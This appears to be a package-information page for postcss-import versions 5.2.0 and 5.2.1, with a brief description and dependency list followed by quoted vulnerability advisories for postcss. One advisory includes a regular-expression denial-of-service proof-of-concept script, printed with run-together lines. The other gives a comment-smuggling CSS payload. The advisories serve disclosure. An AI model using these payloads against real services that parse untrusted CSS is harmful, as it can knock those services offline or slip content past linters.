PostCSS Import is a valuable PostCSS plugin designed to streamline CSS development by enabling the effortless importing of CSS files. Versions 5.2.0 and 5.2.1 share a common foundation, providing developers with the ability to modularize their stylesheets and enhance code organization. Both rely on the same core dependencies, including glob for file matching, clone for object duplication, postcss as the underlying CSS processing framework, resolve for module resolution, string-hash for generating unique identifiers, and postcss-message-helpers for improved error reporting. Development dependencies like jscs, tape, jshint and css-whitespace also remain the same, ensuring consistent code quality checks using the same tools..
The key difference between these versions lies in their release date and, presumably, minor internal fixes or optimizations implemented in version 5.2.1. Version 5.2.0 was released on April 15, 2015, while version 5.2.1 followed shortly after, on April 17, 2015. Developers should choose the latest version (5.2.1) for access to the most up-to-date features and any potential bug fixes or performance enhancements. It supports CSS modularity making stylesheets easier to maintain. Developers benefit from using PostCSS Import as it promotes better code organization leading to more maintainable and scalable CSS. Ensure you keep your installed package up to date to get the newest features.
All the vulnerabilities related to the version 5.2.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.